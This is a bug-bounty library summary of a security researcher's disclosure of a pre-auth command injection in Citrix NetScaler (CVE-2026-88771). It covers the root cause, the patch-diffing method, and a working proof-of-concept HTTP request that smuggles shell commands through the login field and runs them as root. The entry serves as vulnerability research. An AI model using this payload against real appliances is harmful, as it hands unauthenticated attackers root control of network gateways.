# Oh Look, The Foot Gun Went Off Again (Citrix NetScaler PreAuth Command Injection CVE-2026-88771)

Unauthenticated attacker injects shell metacharacters via login field into NetScaler logs, which ns_monuploadd_err.pl interpolates into a backtick find command, executing as root.

- Payout: Real-world hack
- Severity: critical
- Program: Citrix
- Analysis by: Sina Kheirkhah
- Disclosed: 2026-09-28
- CVE: CVE-2026-88771
- Write-up quality: 8/10
- Original: https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/
- Library page: https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771
- Tags: area:devices domain:network impact:privesc impact:rce kind:incident platform:research sev:critical technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** NetScaler ADC/Gateway appliance, /nf/auth/doAuthentication.do and any log-writing endpoint
**Root cause:** ns_monuploadd_err.pl extracted a core filename from log lines using grep|sed|awk without validating fields, then interpolated the attacker-influenced string into a backtick `find` shell command, so semicolons in logged input became shell command separators.
**Steps:**
1. Diff 14.1-73.30 vs 14.1-73.37; spot ns_monuploadd_err.pl replacing backtick grep|sed|awk pipeline with validated Perl regex and list-form open.
2. Send `POST /nf/auth/doAuthentication.do` with urlencoded `login=pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X` plus `passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On`.
3. Payload lands in SSLVPN/AAAD log lines; wait up to 24h for ns_monuploadd_err.pl cron, or run `/netscaler/ns_monuploadd_err.pl -WR` to force.
4. Script builds `find /var/core -name NSPPE-00;id>/var/tmp/watchTowr;-X* -print | tail -1`; shell executes injected command as root.
5. Verify with `cat /var/tmp/watchTowr` showing `uid=0(root)`.
**How found:** Assumed nsppe was the culprit given NetScaler history, but the advisory CWE looked like 'intended functionality'; broke the cycle and diffed other changed files, spotting ns_monuploadd_err.pl swapping a backtick grep|sed|awk pipeline for validated Perl — revealing the unvalidated interpolation.
**Exploitation:** Pre-auth HTTP request to any endpoint that logs attacker-controlled input (login field, User-Agent, params) poisons logs; the periodic core-upload error script interpolates the poisoned value into a shell command, executing arbitrary commands as root on the appliance.
**Escalation:** Any log-writing endpoint or port (failed logins, rate-limit blocks, User-Agent, management interface) can deliver the payload, widening attack surface beyond the auth endpoint.
**Insight:** When a vendor patch replaces a shell pipeline with a regex + list-form open, the diff itself is the bug report: hunt for scripts that parse log files and re-interpolate extracted fields into backticks/system(), especially where any HTTP header reaches logs.

## Proof of concept (copied exactly from the original report)

**Pre-auth HTTP request injecting command via login field**

```
POST /nf/auth/doAuthentication.do HTTP/1.1
Host: netscaler-aaa-server
Content-Type: application/x-www-form-urlencoded

login=<@urlencode_all>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X</@urlencode_all>&passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On
```

**Detection artifact generator invocation**

```
./watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py --target https://all-ur-boxen/ --command 'id>/var/tmp/watchTowr'
 __ ___ ___________
 __ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
 \ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
 \ / / __ \| | \ \___| Y | |( <_> \ / | | \/
 \/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
 \/ \/ \/

 watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py

 (*) Citrix NetScaler PreAuth Command Injection to RCE Detection Artifact Generator

 - Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)

 CVEs: [CVE-2026-88771]

[+] connected to https://all-ur-boxen/
[*] payload built: pitboss PPE unexpectedly died NSPPE;id>/var/tmp/watchTowr;# X
[+] poisoning the logs...
[*] triggering force pickup...
[*] remote force pickup in progress
[*] done
```

## Write-ups of the same bug (oldest first)
- 2026-09-28: [Oh Look, The Foot Gun Went Off Again (Citrix NetScaler PreAuth Command Injection CVE-2026-88771)](https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771) — Sina Kheirkhah (this one)
- 2026-09-30: [Threat Brief: NetScaler Zero Days CVE-2026-88771 and CVE-2026-88772 Exploited in the Wild (Updated September 30)](https://bugbountylibrary.com/r/blog%3Aunit42-paloaltonetworks-com-netscaler-zero-days-exploited) — Unit 42
- 2026-10-19: [Rapid7 Analysis: NetScaler intrusions chaining CVE-2026-88771 and CVE-2026-88779](https://bugbountylibrary.com/r/blog%3Arapid7-com-blog-post-ra-netscaler-intrusions-chaining-cve-2026-88771-and-cve-2026-88779) — Rapid7

